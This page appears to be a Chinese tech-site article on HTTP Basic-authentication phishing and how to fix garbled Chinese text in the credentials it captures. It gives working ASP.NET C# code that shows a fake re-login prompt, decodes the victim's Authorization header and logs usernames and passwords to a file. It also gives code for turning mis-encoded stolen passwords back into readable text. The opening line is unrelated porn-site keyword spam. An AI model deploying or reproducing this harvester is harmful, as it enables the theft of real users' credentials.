自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

關(guān)于基礎(chǔ)驗(yàn)證釣魚中文亂碼的解決方法

安全
最近基礎(chǔ)認(rèn)證釣魚很火,不過亂碼始終是個(gè)問題。經(jīng)測試后已實(shí)現(xiàn)的解決方法有兩種:手動分析Request頭;將亂碼轉(zhuǎn)換回正常的字符。

最近基礎(chǔ)認(rèn)證釣魚很火,不過亂碼始終是個(gè)問題。經(jīng)測試后已實(shí)現(xiàn)的解決方法有兩種:

手動分析Request頭

如果客戶端接受了WWW-AuThenticate驗(yàn)證,則會在下一次連接中添加請求頭 Authorization,格式為:

[code]

Authorization: Basic Og==

[/code]

Basic代表應(yīng)用基礎(chǔ)模式驗(yàn)證,由服務(wù)端WWW-AuThenticate頭指定的驗(yàn)證模式指定。由于我們需要獲取密碼,所以這里一定為Basic。

之后以一個(gè)空格作為分隔符,其余的內(nèi)容為用戶名與密碼,加密方式為標(biāo)準(zhǔn)BASE64,格式為 用戶名:密碼。

(更多資料請參考rfc文檔。)

所以我們只需要判斷請求頭是否包含Authorization即可,如果沒有的話則輸出401返回頭要求輸入密碼。

一段簡單的C#代碼:

[code="csharp"] <%

string logpath=Server.MapPath("\\fuck.config");

string info="please re-login";

string imgpath=Server.MapPath("\\img.jpg");

if(Request.Headers["Authorization"]==null||Request.Headers["Authorization"].StartsWith("Basic Og==")){

Response.Status="401 Unauthorized";

Response.AddHeader("WWW-AuThenticate",string.Format("basic ,Realm=\"{0}\"",info));

}

else{

string referrer=(Request.UrlReferrer==null)?"":Request.UrlReferrer.ToString();

System.IO.File.AppendAllText(logpath,Encoding.Default.GetString(Convert.FromBase64String(Request.Headers["Authorization"].Remove(0,5).Trim()))+"|"+referrer+"\r\n");

if(System.IO.File.Exists(imgpath))Response.BinaryWrite(System.IO.File.ReadAllBytes(imgpath));

}

%> [/code]

#p#

將亂碼轉(zhuǎn)換回正常的字符

亂碼其實(shí)是西歐字符,在拓展ASCII中為0x7f-0xff,所以只需要轉(zhuǎn)換回去就行了。

不過要注意:直接轉(zhuǎn)換是不可能的。在中文操作系統(tǒng)中0x7f-0xff單個(gè)字節(jié)被認(rèn)為是無效字符,轉(zhuǎn)換后只能輸出0x3f(?)。同時(shí)如果想將亂碼保存到文件中,則必須使用unicode等格式保存,這時(shí)亂碼將變?yōu)閮勺止?jié),轉(zhuǎn)換更加繁瑣。

經(jīng)過嘗試可以使用以下C#代碼轉(zhuǎn)換,注意:必須在winform下編譯使用,webform下即使是相同的Unicode編碼也會轉(zhuǎn)換出不同的字節(jié)數(shù)組,從而導(dǎo)致無法轉(zhuǎn)換。

[code]

using System;

using System.Text;

using System.Windows.Forms;

using System.Collections.Generic;

public class Decript

{

public static void Main()

{

string s="D??μò???è?";

byte[] arrb = Encoding.Unicode.GetBytes(s);

List<byte> lb=new List<byte>();

foreach(byte b in arrb){if(b!=0)lb.Add(b);}

Console.WriteLine(Encoding.Default.GetString(lb.ToArray()));

}

}

[/code]

之后又找到更簡便的方法:用Notepad2建立一個(gè)unicode文檔,將亂碼粘貼進(jìn)去,之后在編碼選擇任意ISO開頭的編碼,保存后即轉(zhuǎn)換完畢。

責(zé)任編輯:藍(lán)雨淚 來源: cunlide
相關(guān)推薦

2011-03-01 15:38:44

Fireftp亂碼

2009-09-07 18:40:28

PHP中文亂碼

2009-07-02 13:26:32

JSP中文亂碼

2012-03-21 10:16:31

JavaJSP

2010-07-15 14:01:12

telnet亂碼

2009-07-02 13:32:56

JSP中文亂碼

2010-10-13 17:22:12

MySQL查詢亂碼

2009-06-25 15:06:20

Javadoc亂碼

2010-05-14 17:27:40

MySQL中文亂碼

2011-06-14 13:41:27

muleWSDL

2009-07-01 18:14:36

JSP亂碼

2009-12-02 10:08:33

PHP mail()函

2009-11-26 15:42:18

PHP函數(shù)mail()

2009-12-02 16:53:25

PHP發(fā)送郵件亂碼

2009-12-04 16:49:38

PHP導(dǎo)出Excel亂

2011-09-06 16:04:59

Ubuntu

2017-08-02 15:51:24

PHP中文亂碼

2011-07-05 09:44:31

QT Mysql 亂碼

2010-11-23 10:11:23

mysql建表亂碼

2010-06-09 09:39:42

Opensuse雙系統(tǒng)
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號